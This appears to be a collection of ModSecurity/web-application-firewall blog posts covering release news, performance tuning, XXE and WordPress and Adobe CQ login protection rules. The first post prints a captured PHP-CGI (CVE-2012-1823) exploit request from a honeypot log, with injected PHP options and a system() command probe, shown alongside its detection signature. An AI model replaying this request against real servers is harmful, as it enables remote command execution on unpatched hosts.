Web Security Blog
[Honeypot Alert] Active Exploits Attempts for Plesk Vulnerability
Last week, hacker "kingcope" provided PoC expliot code for a Plesk 0-day on the Full Disclosure public mail-list. Our web honeypot systems received some exploit attempts so we wanted to share with the community. Here is an example request taken from our ModSecurity audit log:
--0cbefd64-A--[10/Jun/2013:16:01:11 --0500] FI5-@MCo8AoAADlBVOIAAAAX 88.208.233.113 37872 XXX.XXX.XXX.XXX 80
--0cbefd64-B--
POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F
%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F
%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2
D%6E HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
--0cbefd64-C--
<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;uptime;exit"); ?>
The bolded/highlighted portion of the URI is encoded. When decoded, it is:
/phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n
This shows the attempt to disable various PHP security functionality and then using default input to be able to appendd the request body content to the response page. The request body portion in section C shows that this request is a simply probe to verify if the web server is vunerable. If it was, it would have responded with results for the following OS commands:
- uname - a
- id
- uptime
If ModSecurity users are running the OWASP ModSecurity CRS, they would already be protected from this attack. The CRS has many signatures/rules that triggered including:
Message: Warning. Pattern match "<\\?(?!xml)" at ARGS_NAMES:<?php echo "Content-Type:text/html\\r\\n\\r\\n";echo "OK\\n";system("uname -a;id;uptime;exit"); ?>. [file "/etc/httpd/modsecurity.d/crs/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "230"] [id "959151"] [rev "2"] [msg "PHP Injection Attack"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.2"] [tag "WASCTC/WASC-25"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE4"] [tag "PCI/6.5.2"]While there was some debate publicly about required Plesk configurations related to Apache ScriptAlias directives, it was determined that the real, underlying issue is the old PHP-CGI (CVE-2012-1823) vuln. We covered this issue in a previous Honeypot Alert blog post.
ModSecurity Updates: Nginx Stable Release and Google Summer of Code Participation
The ModSecurity Development Team is pleased to announce the availability of ModSecurity 2.7.4 Stable Release. This release includes many bug fixes and the NGINX module version is now labled as STABLE.
Important Security Fix - There is a security issue fixed with this release, please check CVE-2013-2765 for more information. Upgrading is high recommended.
We also added support for the libinjection library as a new operator called @detectSQLi. I will be doing a separate blog post on libinjection as it deserves more attention.
Please see the release notes included in the CHANGES file. For known problems and more information about bug fixes, please see the ModSecurity Jira. You can optionally report any bug to mod-security-developers@lists.sourceforge.net.
Google Summer of Code ParticipationOWASP is again participating Organization in Google's Summer of Code (GSoC) program which provides stipends to student developers to write code for approved open source projects. I am excited to announce that one of OWASP's GSoC slots was awarded to Mihai Pitu who will be working on a Java port of ModSecurity! Here is the ABSTRACT:
The goal of this GSOC project is to have a ModSecurity version that can be used within Java servers (e.g. Tomcat). In order to achieve this, the standalone C code will be wrapped using the JNI framework and the resulting ModSecurity Java project will be used as a module for Tomcat server. Also, we will collaborate with the OWASP WebGoat team in order to integrate ModSecurity for Java into it.
Mihai's complete submission is here. The main problem this project solves is that you will no longer have to front-end your Java app servers with a reverse proxy in order to gain ModSecurity protections! ModSecurity standalone code will use JNI to hook into Java servers (Tomcat, Spring, Stuts, etc...) as a Servlet Filter.
If you want to follow along with our GSoC development over the summer, you can check out Mihai's GitHub repo.
ModSecurity Performance Recommendations
Sometimes we see ModSecurity users asking about performance in the mail-list. During this post I will talk about some important topics to improve ModSecurity performance.
1 – HTTP Caching and Acceleration
In a common web environment static contents (ie. Images) are a substantial part of http traffic. Usually users don’t want to execute ModSecurity rules against this kind of content. So the first recommendation is setup in front of ModSecurity a HTTP Cache and Acceleration solution.
We have interesting open sources solutions and one of them is Varnish. You can setup it in front of your ModSecurity and configure it to cache the static traffic. Once it is done, Varnish will start serving this kind of contents and ModSecurity will only see what is really necessary.
Another possible solution is setup rules to detect file extensions you want to inspect and ignore the others:
SecRuleEngine On
SecAction "id:'1', phase:1, t:none, setvar:'tx.inspect_extensions=.html/ .php/', nolog, pass"
SecRule REQUEST_BASENAME "\.(.*)$" "chain,capture,allow,setvar:tx.exts=.%(tx.1}/,phase:1, t:none, t:urlDecodeUni, t:lowercase,id:2,logdata:'%{TX.0}'"
SecRule TX:EXTS “!@within %{tx.inspect_extensions}”
However this is not the best solution because even you will skip all other rules, ModSecurity will spend time buffering, forwarding and executing a few rules against this kind of data.
2 – Rule Selection
Rule selection is another important topic to talk about if you are using the OWASP Core Rule Set.
We have many categories of rules inside CRS, you should review them and decide if all categories and rules are important for you.
We recommend load all rules, however sometimes it is not possible for performance point of view. So you should do a risk analysis and load what is primordial.
3 – Rule Execution Mode
The rules from OWASP Core Rule Set Project can be executed in two different modes:
Self-Contained Mode - Rules inherit the "deny" disruptive action. The first rule that matches will block.
Collaborative Detection Mode - This is a "delayed blocking" mode of operation where each matching rule will inherit the "pass" action and will only contribute to anomaly scores.
From the performance point of view the Self-Contained Mode is the best solution since it should execute lesser rules than the Collaborative Mode, reducing the overhead caused by rule engine and logging engine. However from the False Positive point of view, Collaborative Mode should emit lesser False Positives.
That being said you should try the default mode first (Self-Contained) and decide if it is enough for you. If doesn't, I would recommend work with ModSecurity rule exceptions features first before decide to move to Collaborative Detection Mode.
It is important to mention that you should see results from performance point of view only if SecRuleEngine On.
4 – Rule Pre-Filtering
If you are planning to write your own rules, specially using @rx operator with nontrivial regex to inspect large amount of data like response bodies, you should consider use @pm operator as a pre-filter rule:
SecRule RESPONSE_BODY “@pm some_leak_patterns” “phase:4,chain,id:12345,deny”SecRule RESPONSE_BODY “@rx your_nontrivial_regex_some_leak_patterns”
The @pm operator uses a fast multi-pattern match algorithm called Aho-Corasick and can be used to avoid execution of your regex against all inbound and outbound buffers.
Another pre-filter ideas are:
- Immediately reject IPs from countries
- Immediately reject IPs with bad reputation
- Immediately reject transactions with not allowed number of arguments
- Immediately reject transactions with not allowed arguments length.
With this idea in mind you can build a small set of rules that will run before the CRS and will immediately reject transactions to avoid them being inspected against all CRS rules.
5 – Buffering
ModSecurity works buffering inbound and outbound data to be later inspected by rules. The main bottleneck related to this topic is buffering response bodies for two reasons: it will consume a lot of RAM and usually rules placed in response body phase are expensive.
That being said you can consider disabling response body inspection setting SecResponseBodyAccess Off and conditionally enable it using ctl:responseBodyAccessOn during some specific situation for a certain types SecResponseBodyMimeTypes..
For example:
SecResponseBodyMimeType text/plain text/html text/xml
SecResponseBodyAccess Off
SecRule REQUEST_BODY|ARGS “@pm union select” “phase:2,chain,id:1234,ctl:responseBodyAccess=On”
SecRule REQUEST_BODY|ARGS “@rx your_nontrivial_regex_union_select”
SecRule RESPONSE_BODY “@pm some_leak_patterns” “phase:4,chain,id:12345,deny”
SecRule RESPONSE_BODY “@rx your_nontrivial_regex_some_leak_patterns”
6 – Logging
The Logging Engine could be a performance killer if you don’t keep attention on:
Execute – constantly - a tuning process in your rules to avoid too much false positives. Keep in mind that disk i/o is expensive and you don’t want to spend resource logging false positives.
Do not use serial logging mode. It uses locks to protect the file and will kill the performance. Use concurrent mode instead.
Review the audit log parts you are logging. Some parts like K and E can increase the overhead caused by the logging engine, because it usually needs to write big amount of data to disk.
Do not enable debug log in production.
7 – PCRE-JIT
A Just-In-Time compiler support was inserted into pcre library (>=8.20). Just-in-time compiling is a optimization that can greatly speed up pattern matching operations. It is of most benefit when the same pattern is going to be matched many times.
Release 8.20 21-Oct-2011 ------------------------
The main change in this release is the inclusion of Zoltan Herczeg's just-in-time compiler support, which can be accessed by building PCRE with --enable-jit. Large performance benefits can be had in many situations. 8.20 also fixes an unfortunate bug that was introduced in 8.13 as well as tidying up a number of infelicities and differences from Perl.
ModSecurity 2.7.x series can execute a regex using PCRE-JIT. This is a very good feature from performance point of view. To enable it you must compile ModSecurity using the follow configure option:
./configure –enable-pcre-jit
Make sure your PCRE library was compiled with JIT support (using the option described in the above pcre release notes). Also ModSecurity and Apache must use the same library version. You can check it looking into error log.
As an example we sent a large input to be processed by request body rules and measured the spent time:
JIT Disabled Phase 2 rules = 422749 usecs
JIT Enabled Phase 2 rules = 115777 usecs
Looking this example pcre-jit can make rules 75% faster in average.
8 – Caching Lua VM
This is for people that need to execute multiple Lua scripts in the same transaction. Normally ModSecurity will create and destroy a VM for each lua script running in the same transaction. You can change this behavior recompiling ModSecurity with the option:
./configure –enable-lua-cache
Once recompiled it, ModSecurity will keep in memory the Lua VM during the whole transaction, reducing the overhead caused by create/destroy VM operations.
As an example let’s measure the performance of three scripts executing in the same transaction:
Cache disabled
Lua: Executing script: /etc/apache2/modsecurity/script1.lua
Lua: Script completed in 742 usec, returning: 1.
Lua: Executing script: /etc/apache2/modsecurity/script2.lua
Lua: Script completed in 517 usec, returning: 1.
Lua: Executing script: /etc/apache2/modsecurity/script3.lua
Lua: Script completed in 489 usec, returning: 1.
Total: 1748usecs
Cache enabled
Lua: Executing script: /etc/apache2/modsecurity/script1.lua
Lua: Script completed in 592 usec, returning: 1.
Lua: Executing script: /etc/apache2/modsecurity/script2.lua
Lua: Script completed in 130 usec, returning: 1.
Lua: Executing script: /etc/apache2/modsecurity/script3.lua
Lua: Script completed in 101 usec, returning: 1.
Total: 823usecs
We can see an overhead reduction of ~50% caused by VM create/destroy operations.
9 – Detecting expensive rules.
If there are more performance issues you can try the follow steps to find expensive rules and then have a chance to make it better.
As an example let’s suppose we are trying to detect expensive rules running on phase 2 (request body). If you are using the latest ModSecurity version (>= 2.7.4) you have all those features to work.
Create a rule to detect if phase 2 is the problem. We will assume 1000 microseconds too much
SecRule PERF_PHASE2 “@qt 1000” “id:1234,phase:3”
If you have a trigger it is indicating you have expensive rules. So let’s try to detect them adding the follow rules
# All rules that spent more than 50usecs will be present in audit log part H
SecRulePerfTime 50
# PERF_RULES is a collection that will contain all rules that spent more than SecRulePerfTime vallue to run.
SecRule PERF_RULES “@qt 50” “id:1,phase:3”
So if you have expensive rules we will see alerts:
[Tue Apr 23 17:50:26 2013] [error] [client 192.168.0.103] ModSecurity: Warning. Operator GT matched 50 at PERF_RULES:960032. [file "/etc/apache2/modsecurity/owasp-modsecurity-crs-2.2.6/base_rules/modsecurity_crs_99_perl.conf"] [line "2"] [id "1"] [hostname "192.168.0.104"] [uri "/acao.php"] [unique_id "UXcCIsCoAGUAACvOLqcAAAAD"]
[Tue Apr 23 17:50:26 2013] [error] [client 192.168.0.103] ModSecurity: Warning. Operator GT matched 50 at PERF_RULES:958022. [file "/etc/apache2/modsecurity/owasp-modsecurity-crs-2.2.6/base_rules/modsecurity_crs_99_perl.conf"] [line "2"] [id "1"] [hostname "192.168.0.104"] [uri "/acao.php"] [unique_id "UXcCIsCoAGUAACvOLqcAAAAD"]
[Tue Apr 23 17:50:26 2013] [error] [client 192.168.0.103] ModSecurity: Warning. Operator GT matched 50 at PERF_RULES:973323. [file "/etc/apache2/modsecurity/owasp-modsecurity-crs-2.2.6/base_rules/modsecurity_crs_99_perl.conf"] [line "2"] [id "1"] [hostname "192.168.0.104"] [uri "/acao.php"] [unique_id "UXcCIsCoAGUAACvOLqcAAAAD"]
As we can see rules 960032, 958022 and 973323 are spending more than 50usecs to execute., but how much time exactly ? You will get this information into audit log part H:
Rules-Performance-Info: "960032=622", "958022=731", "973323=109".
Please check the Reference Manual to see all PERF_ variables.
10 – Persistent Storage
ModSecurity’s persistent storage mechanism is disk based. That being said it is not fast as if we could share data in memory. So we recommend, if possible, setup and define your data directory in a RAMDISK. Persistent storage files in ModSecurity can be bigger than necessary because old entries will only overwritten when they are expired. By default the expiration time is 3600 seconds, It is usually too much, you probably want data for a few minutes, so you can reduce the default timeout using SecCollectionTimeout directives.
5 ways to protect your E-Commerce site
The Trustwave Spiderlabs team frequently responds to E-commerce data breaches. The number of website breaches that we are working continues to rise. There are a handful of reasons for this rise.
- We are approaching saturation in the "brick and mortar" Point of Sale breaches. Attackers have been after these systems very aggressively for the past few years. They're not going to stop stealing, they are just going to find new targets.
- It's getting easier. There are some very sophisticated scanning tools on the market that are either free, cheap or already pirated by attackers. These tools are incredibly efficient at pinpointing and exploiting website vulnerabilities. We see Havij and SQLmap on a weekly basis.
- The payoff! E-commerce sites are still storing large databases full of personal information and cardholder data. The black market for this information is well established and an attacker can easily monetize what they steal. It's not unusual to see 50,000 - 100,000 records in an E-Commerce database. The sale price of a data record can vary from a few dollars up to about $25 per record. That's a lot of money!
- STOP STORING SENSITIVE DATA! There is no good reason to store thousands of records on your customers, especially not their full credit card numbers, expiration dates and CVV2 codes. Modify your code, stop storing this data and purge the old records from your database. A minimal amount of data is necessary for charge-backs and refunds, the risk of a breach outweighs the convenience for your customers at checkout and the storage of this data is strictly forbidden by the PCI standards. This is one of the PCI areas where there is no guessing or discussion. Section 3.2:"Do not store sensitive authentication data after authorization (even if encrypted)." It's also a terrible idea. If you have nothing to steal, you won't be robbed.
- Don't host multiple sites with your main E-Commerce application. Running an auction site, blog or user forum is a great way to increase traffic and sales. I don't discourage this activity at all. Just segregate it from your main site. I'm working a string of cases right now where the initial point of breach is Wordpress and its associated plugins that are running on the primary E-Commerce server. Additional hosting fees or the cost of launching a VM to run these secondary sites is trivial compared to the costs associated with a breach. (Investigation, fees and fines, legal counsel, etc..) Move that stuff off to a seperate server and decrease your attack surface.
- Patch your systems. This is good system administration 101: I constantly run into breached sites running a 3 year old version of PHP or ColdFusion from 2007. The same thing goes for your web apps, Xcart, OSCommerce, ZenCart and any of the others all need to be patched regularly.
- PenTest. There is a cost involved with this, but the return on investment is very high. A penetration tester will run the tools that a hacker will run, they will identify the vulnerabilities in your site and a good one (see Spiderlabs) will guide you in correcting the problems. You could purchase roughly 2 years of penetration tests for the cost of having us on-site for a week to work a breach.
- Install a Web Application Firewall. This is a technology that has really matured in the last few years. There is no "magic bullet" to prevent a breach, but a WAF is a really good start to a comprehensive approach. The best part? Modsecurity is free and supports all of the major web servers (IIS, Apache, Nginx). It's not as effective as Trustwave's WebDefend product but it's pretty darned good. WAF's watch inbound HTTP requests to your site for SQL Injection strings, RFI attempts and known exploits. If it is installed properly it will stop this traffic before it even makes it to your server.
There you have it! Five common sense ways to help prevent a breach. 4 of the 5 are even free.
Make the investment in time and capitol, you don't want me or any other member of the IR team working for you if you can avoid it. Breaches are a terrible thing.
XML External Entity (XXE) Execution Disabled in ModSecurity v2.7.3
On February 27, 2013, the ModSecurity project team was notified by security researchers from Positive Technologies that they had identified an XXE flaw in ModSecurity. Here is the CWE info for XXE -
Libxml2 XXE CVEsThe vulnerability lies within Libxml2 itself and was recently identified on public mail-list and assigned CVEs - http://seclists.org/oss-sec/2013/q1/391
Libxml2 in ModSecurityModSecurity inspects XML request bodies by leveraging the libxml2 parser. When ModSecurity is compiled with XML support, it can be activated for use by using the following example rule from the OWASP ModSecurity CRS -
## -- [[ Enable XML Body Parsing ]] -------------------------------------------------------## The rules in this file will trigger the XML parser upon an XML request## Initiate XML Processor in case of xml content-type#SecRule REQUEST_HEADERS:Content-Type "text/xml" \ "id:'900017', \ phase:1, \ t:none,t:lowercase, \ nolog, \ pass, \ chain" SecRule REQBODY_PROCESSOR "!@streq XML" \ "ctl:requestBodyProcessor=XML"With this rule activated, when ModSecurity receives a request with an XML Content-Type body, it would call up the libxml2 code to parse the data and populate the XML variable for use in any rules.
Libxml2 in other ProjectsOther projects that rely upon the Libxml2 parser for analyzing XML data are most likely also effected. For instance, Positive Technologies also open a very similar bug report for Eclipse here. The bug report includes example attack/testing payloads as well.
Additionally, PHP also had to deal with this issue and they chose to have a configurable option called - libxml_disable_entity_loader.
ModSecurity v2.7.3We chose to follow PHP's method of addressing this issue and we released ModSecurity v2.7.3 on March 29th that fixed the issue with addition of the SecXmlExternalEntity directive. This setting is Off by default but it allows the ModSecurity user to control XXE for the libxml2 parser. It is highly recommended that organizations using ModSecurity either upgrade to v2.7.3 and set SecXmlExternalEntity Off or disable the XML request body parser rule entirely.
Defending WordPress Logins from Brute Force Attacks
As has been reported by many news outlets, WordPress login pages have been under a heavy brute force attack campaign as another method of web server botnet recruitment. There are are number of methods which can be used to help mitigate these attacks including:
- Changing the default "admin" user account name - which can be done by either editing the wp_users table or by adding a new user with admin privledges and then deleting the "admin" account.
- Implementing two-factor authentication
- Implementing a Plugin such as Limit Login Attempts
While all of these defenses are good, and I encourage WP users to implement them, I also wanted to show how ModSecurity WAF can be used to protect WP logins as many hosting providers already run it as part of their infrastructure. With ModSecurity v2.7.3, users can add in these example rules to Apache htaccess files to implement custom rules.
Profiling WordPress Login AttemptsThis what the login page looks like when a real user is submitting a login request to WordPress:
When sent to the wp-loing.php page, the raw HTTP looks similar to this:
Now that we see how the WordPress login request looks, we can create the following rules to help protect it from unauthorized access.
Check Referer FieldWhen normal users log into WordPress, it includes a Referer header that is generated when they click on the "Login" button from the form shown above. Many of these botnet brute force attacks, however, send POST login requests directly to the wp-login.php page. We can therefore create this quick ModSecurity ruleset to enforce the existence of the Referer header:
SecRule REQUEST_METHOD "@streq POST" "chain,id:'1',phase:2,t:none,block,log,msg:'Warning: Direct Login Missing Referer.'" SecRule REQUEST_FILENAME "@pm /wp-login.php /wp-admin/" "chain" SecRule &REQUEST_HEADERS:Referer "@eq 0"This type of security check is weak of course as this data could easily be added to the botnet attack scripts.
Restrict Allowed IP AddressesIf you do not change your administrator account name, you can still add in an extra layer of security by only allowing admin login access to your IP address. Here is an example ruleset:
SecRule REQUEST_METHOD "@streq POST" "chain,id:'1',phase:2,t:none,block,log,msg:'Warning: Direct Login Missing Referer.'" SecRule REQUEST_FILENAME "@pm /wp-login.php /wp-admin/" "chain" SecRule ARGS:log "@streq admin" "chain" SecRule REMOTE_ADDR "!@ipMatch 72.192.214.223"In this example, it will only allow the "admin" user to login if they are coming from the 72.192.214.223 IP address (of course you would need to specify your valid IP address).
Tracking Failed Admin Login AttemptsWith ModSecurity's persistent IP collection data, we have the capability to track the number of failed login attempts for the admin account and then temporarily block client IP addresses. Here is the example response data returned when a user failes a WordPress login attempt -
HTTP/1.1 200 OK Date: Fri, 11 May 2012 03:24:53 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Fri, 11 May 2012 03:24:54 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1697 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>WordPress › Login</title> <meta http-equiv="Content-Type" content="text/html; c harset=UTF-8" /> <link rel="stylesheet" href="http://192.168.1.113/wordpress/wp-admin/wp-admin.css" type="text/css" /> <script type="text/javascript"> function focusit() { document.getElementById('log').focus(); } window.onload = focusit; </script> </head> <body> <div id="login"> <h1><a href="http://wordpress.org/">WordPress</a></h1> <div id='login_error'> <strong>Error</strong>: Incorrect password. </div> ... </body> </html>As you can see the HTTP response status code is 200 OK and there is text in the HTML body indicating that the user supplied an incorrect password. We can now create rules to identify repeated failures:
SecRule REQUEST_FILENAME "@streq /wordpress/wp-login.php" "chain, phase:4,id:999323,t:none,block,msg:'Authentication Failure Violation .',logdata:'Number of Authentication Failures: %{ip.failed_auth_ attempt}'" SecRule REQUEST_METHOD "@streq POST" "chain" SecRule ARGS:log "@streq admin" "chain" SecRule RESPONSE_STATUS "200" "chain" SecRule RESPONSE_BODY "@contains <strong>Error</strong>:Incorrect password." "chain,setvar:ip.failed_auth_attempt=+1,expirevar:ip.failed_auth_attempt=60" SecRule IP:FAILED_AUTH_ATTEMPT "@gt 5" Detecting a High Number of Authentication AttemptsRegardless of authentication success/failure, you can also use persistent storage to track the number of authentication requests for a specified period of time. The OWASP ModSecurity Core Rule Set (CRS) includes rules for detecting this type of brute force authentication attacks. In the modsecurity_crs_10_setup.conf, you can adjust the following rule to specify the WordPress login page:
## -- [[ Brute Force Protection ]] ---------------------------------------------------------## If you are using the Brute Force Protection rule set, then uncomment the following# lines and set the following variables:# - Protected URLs: resources to protect (e.g. login pages) - set to your login page# - Burst Time Slice Interval: time interval window to monitor for bursts# - Request Threshold: request # threshold to trigger a burst# - Block Period: temporary block timeout#SecAction \ "id:'900014', \ phase:1, \ t:none, \ setvar:'tx.brute_force_protected_urls=/wp-login.php', \ setvar:'tx.brute_force_burst_time_slice=60', \ setvar:'tx.brute_force_counter_threshold=10', \ setvar:'tx.brute_force_block_timeout=300', \ nolog, \ pass"Once this is set, you activate the modsecurity_crs_11_brute_force.conf file with the following rules:
## Anti-Automation Rule for specific Pages (Brute Force Protection)# This is a rate-limiting rule set and does not directly correlate whether the# authentication attempt was successful or not.### Enforce an existing IP address block and log only 1-time/minute# We don't want to get flooded by alerts during an attack or scan so# we are only triggering an alert once/minute. You can adjust how often# you want to receive status alerts by changing the expirevar setting below.#SecRule IP:BRUTE_FORCE_BLOCK "@eq 1" "chain,phase:1,id:'981036',block,msg:'Brute Force Attack Identified from %{tx.real_ip} (%{tx.brute_force_block_counter} hits since last alert)',setvar:ip.brute_force_block_counter=+1" SecRule &IP:BRUTE_FORCE_BLOCK_FLAG "@eq 0" "setvar:ip.brute_force_block_flag=1,expirevar:ip.brute_force_block_flag=60,setvar:tx.brute_force_block_counter=%{ip.brute_force_block_counter},setvar:ip.brute_force_block_counter=0"## Block and track # of requests but don't logSecRule IP:BRUTE_FORCE_BLOCK "@eq 1" "phase:1,id:'981037',block,nolog,setvar:ip.brute_force_block_counter=+1"## skipAfter Checks# There are different scenarios where we don't want to do checks -# 1. If the user has not defined any URLs for Brute Force Protection in the 10 config file# 2. If the current URL is not listed as a protected URL# 3. If the current IP address has already been blocked due to high requests# In these cases, we skip doing the request counts.#SecRule &TX:BRUTE_FORCE_PROTECTED_URLS "@eq 0" "phase:5,id:'981038',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CHECKS"SecRule REQUEST_FILENAME "!@within %{tx.brute_force_protected_urls}" "phase:5,id:'981039',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CHECKS"SecRule IP:BRUTE_FORCE_BLOCK "@eq 1" "phase:5,id:'981040',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CHECKS"## Brute Force Counter# Count the number of requests to these resoures# SecAction "phase:5,id:'981041',t:none,nolog,pass,setvar:ip.brute_force_counter=+1"## Check Brute Force Counter# If the request count is greater than or equal to 50 within 5 mins,# we then set the burst counter# SecRule IP:BRUTE_FORCE_COUNTER "@gt %{tx.brute_force_counter_threshold}" "phase:5,id:'981042',t:none,nolog,pass,t:none,setvar:ip.brute_force_burst_counter=+1,expirevar:ip.brute_force_burst_counter=%{tx.brute_force_burst_time_slice},setvar:!ip.brute_force_counter"## Check Brute Force Burst Counter and set Block# Check the burst counter - if greater than or equal to 2, then we set the IP# block variable for 5 mins and issue an alert.#SecRule IP:BRUTE_FORCE_BURST_COUNTER "@ge 2" "phase:5,id:'981043',t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip} - # of Request Bursts: %{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_block=%{tx.brute_force_block_timeout}"SecMarker END_BRUTE_FORCE_PROTECTION_CHECKS Brute Force Detection using SecGuardianLogAnother option that can be used to detect both DoS and Brute Force attacks is to use the SecGuardianLog directive:
Description: Configures an external program that will receive the information about every transaction via piped logging.Syntax: SecGuardianLog |/path/to/httpd-guardian
Example Usage: SecGuardianLog |/usr/local/apache/bin/httpd-guardian
Scope: Main
Version: 2.0.0
Guardian logging is designed to send the information about every request to an external program. Because Apache is typically deployed in a multiprocess fashion, which makes information sharing between processes difficult, the idea is to deploy a single external process to observe all requests in a stateful manner, providing additional protection.
Currently the only tool known to work with guardian logging is httpd-guardian, which is part of the Apache httpd tools project http://apache-tools.cvs.sourceforge.net/viewvc/apache-tools/apache-tools/. The httpd-guardian tool is designed to defend against denial of service attacks. It uses the blacklist tool (from the same project) to interact with an iptables-based (on a Linux system) or pf-based (on a BSD system) firewall, dynamically blacklisting the offending IP addresses. It can also interact with SnortSam http://www.snortsam.net. Assuming httpd-guardian is already configured (look into the source code for the detailed instructions), you only need to add one line to your Apache configuration to deploy it:
SecGuardianLog |/path/to/httpd-guardianBy using this setting, the httpd-guardian process is able to track the number of request hittings resources and if the limits are exceeded, it can execute a number of response actions:
# If defined, execute this command when a threshold is reached # block the IP address for one hour. # $PROTECT_EXEC = "/sbin/blacklist block %s 3600"; # $PROTECT_EXEC = "/sbin/samtool -block -ip %s -dur 3600 snortsam.example.com"; my $PROTECT_EXEC; # For testing only: # $PROTECT_EXEC = "/sbin/blacklist-webclient %s 3600"; # Max. speed allowed, in requests per # second, measured over an 1-minute period my $THRESHOLD_1MIN = 2; # 120 requests in a minuteNotice the $PROTECT_EXEC variable allows you to specify an action such as notifying either a local or remote firewall to add in IP-based blocking of the offending IP address. This option is preferred vs. layer 7 IP based blocking with ModSecurity as it is less resource intensive.
ConclusionHopefully the ModSecurity rule examples shown here can help you to defend your WordPress sites from brute force attacks.
Restricting Adobe CQ Admin Logins with Trustwave WAFs
One of the many useful features of a web application firewall (WAF) is its ability to add on addition security checks or logic to third party web applications. One common request that my team often receives from WAF customers is that they want to restrict down access to certain portions of their web applications to specified IP addresses or ranges. Oftentimes this type of functionality is not available natively within the application and fortunately it can be added in using a WAF.
Adobe CQ Admin Login - ModSecurity ExampleOne such example is for the Adobe Experience Manager (CQ) application. How can an Adobe CQ admin restrict down who is allowed to log into the portal interface as the "admin" user? Well, it just so happens that Adobe's Help portal addressed this very issue here where they showed how this can be achieved using Trustwave's open source ModSecurity WAF!
When a client logs into the Adobe CQ app, this is what the raw HTTP request looks like:
POST /libs/cq/core/content/login.html/j_security_check HTTP/1.1 Host: some_website.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://some_website.com.com/libs/cq/core/content/login.html/j_security_check Cookie: JSESSIONID=589506ae-50a6-4133-b8db-4af0453f5846 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 83 j_username=admin&j_password=123214&resource=%2Fwelcome&_charset_=UTF-8&contextPath=The example rules shown on the Adobe help website are the following:
<LocationMatch /libs/cq/core/content/login.html/j_security_check> SecRule REMOTE_ADDR "!@ipMatch 172.16.208.11" "id:'23000',chain,deny,log" SecRule ARGS:j_username "admin" "t:lowercase" </LocationMatch>These rule will be activated for the /libs/cq/core/content/login.html/j_security_check URL. If the the client IP address is NOT 172.16.208.11 and they are submitting the "admin" username, it will block them. This ruleset works like a charm and will help you to protect your Adobe CQ admin logins from access attempts by untrusted parties.
Adobe CQ Admin Login - WebDefend ExampleIn addition to our open source WAF ModSecurity, Trustwave also has our award winning, commercial WAF appliance called WebDefend. What I would like to do now is to show how the exact same custom protections can be implemented with WebDefend using our new "User Defined Rules" capabilities.
Adding New Custom RulesStep 1: Open User Defined Rules Editor in the WebDefend Console
Step 2: Click Add to Define the New Rule Meta-data
Step 3: Create Custom Rule
It is important to note, as we often get questions along these lines, that WebDefend does not currently share any actual code base with ModSecurity. They are two completely separate applications. What we opted to do in this case, however, is to leverage the very popular ModSecurity Rules Language syntax for creating custom rules. For those of you who have been using ModSecurity and have many custom rules, this may come as good news for you as it would ease a transition into using WebDefend in your environment. As you can see from the screenshot above, the SecRules look very similar to the native ModSecurity rules shown from the Adobe site and they function the same. It will deny access to anyone logging into the "admin" account if they are not coming from 192.168.1.100.
Step 4: Activating the Policy Settings
This screen lets you chose how to respond if this custom rule matches. As you can see there are a variety of options. In this example, I am chosing to log only.
Step 5: Save the new Rule Config
On this screen, we see our final custom rule. We then click on the "Save Rules" button to add this to our polices and active it within the sites.
Step 6: Review New Custom Rule in Active Policy
This screenshot shows our new rule activated rule in the policy with all of the information we added in the custom rule editor.
Step 7: Review Alert Details
If any unauthorized client does attempt to log into the "admin" account, then alerts similar to the one below would be generated.
The Analysis tab shows you all of the various events that triggered including our custom rule. If you want to see the actual request made, you can fiew the Request tab data as shown below:
As you can see, the two main request components defines in our custom rule (URL + Param value) are highlighted and this event was triggered because the client IP address was not authorized.
ConclusionHopefully this blog post has helped to show you how you can use WAFs to help implement custom protections for commercial 3rd party applications.
ModSecurity User Survey 2013
